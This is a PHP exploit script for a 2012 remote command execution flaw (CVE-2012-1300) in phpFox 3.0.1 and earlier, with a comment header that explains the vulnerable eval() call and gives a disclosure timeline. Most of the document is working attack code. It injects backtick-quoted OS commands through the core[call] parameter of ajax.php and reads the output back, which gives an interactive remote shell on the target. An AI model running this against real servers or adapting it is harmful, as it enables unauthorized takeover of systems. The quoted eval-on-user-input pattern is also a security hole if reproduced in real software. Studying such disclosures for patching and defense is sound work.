phpFox <= 3.0.1 (ajax.php) Remote Command Execution Exploit

<?php

/*
    -----------------------------------------------------------
    phpFox <= 3.0.1 (ajax.php) Remote Command Execution Exploit
    -----------------------------------------------------------
   
    author.............: Egidio Romano aka EgiX
    mail...............: n0b0d13s[at]gmail[dot]com
    software link......: http://www.phpfox.com/
   
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
   
    [-] vulnerable code in Phpfox_Module::getComponent() method defined into /include/library/phpfox/module/module.class.php
   
 716.   $aParts = explode('.', $sClass);
 717.   $sModule = $aParts[0];  
 718.   $sComponent = $sType . PHPFOX_DS . substr_replace(str_replace('.', PHPFOX_DS, $sClass), '', 0, strlen($sModule . PHPFOX_DS));
 ...
 748.   if (preg_match('/(.*?)\((.*?)\)/', $sComponent, $aMatches) && !empty($aMatches[2]))
 749.   {
 750.    eval('$aParams = array_merge($aParams, array(' . $aMatches[2] . '));');
 751. 
 752.    $sComponent = $aMatches[1];  
 753.    $sClass = $aMatches[1];   
 754.   }
 
 This method uses its $sClass parameter  to construct the $sComponent variable that might  be used to inject and execute semi-arbitrary
 PHP code in a eval() call at line 750.  Due to $sClass parameter is "explode()d" by dots at line 716 andto satisfy  the regex  at line
 748,  isn't possible to inject code  which contains dots  or  parentheses,  but is still possible to inject semi-arbitrary OS commands
 leveraging of PHP's backtick operator.  Input passed  through $_POST[core][call]  (or $_POST[phpfox][call] in v2)  to /static/ajax.php
 is passed to getComponent() method as $sClass parameter.
 
    [-] Disclosure timeline:
 
 [07/02/2012] - Vulnerability discovered
 [09/02/2012] - Vendor notified through http://www.phpfox.com/contact/
 [24/02/2012] - CVE number requested
 [27/02/2012] - Assigned CVE-2012-1300
 [27/02/2012] - Vendor update released: http://www.phpfox.com/blog/v2-1-0-build-3-v3-0-1-build-3-released/
 [23/03/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+----------------------------------------------------------+";
print "\n| phpFox <= 3.0.1 Remote Command Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /phpfox/\n";
    die();
}

list($host, $path) = array($argv[1], $argv[2]);

$r_pack  = "GET {$path}static/tmp HTTP/1.0\r\n";
$r_pack .= "Host: {$host}\r\n";
$r_pack .= "Connection: close\r\n\r\n";

$packet  = "POST {$path}static/ajax.php?do=/ad/complete/ HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: %d\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "X_REQUESTED_WITH: XMLHttpRequest\r\n";
$packet .= "Connection: close\r\n\r\n%s";

while(1)
{
    print "\nphofox-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
 else if (preg_match('/\./', $cmd)) print "\nDots not allowed!\n";
 else if (preg_match('/\)/', $cmd)) print "\nParenthesis not allowed!\n";
 else
 {
  $payload = "core[call]=.(`{$cmd}>tmp`).";
  http_send($host, sprintf($packet, strlen($payload), $payload));
  $output = http_send($host, $r_pack);
  !preg_match('/404 not/i', $output) && preg_match('/\n\r\n(.*)/s', $output, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
 }
}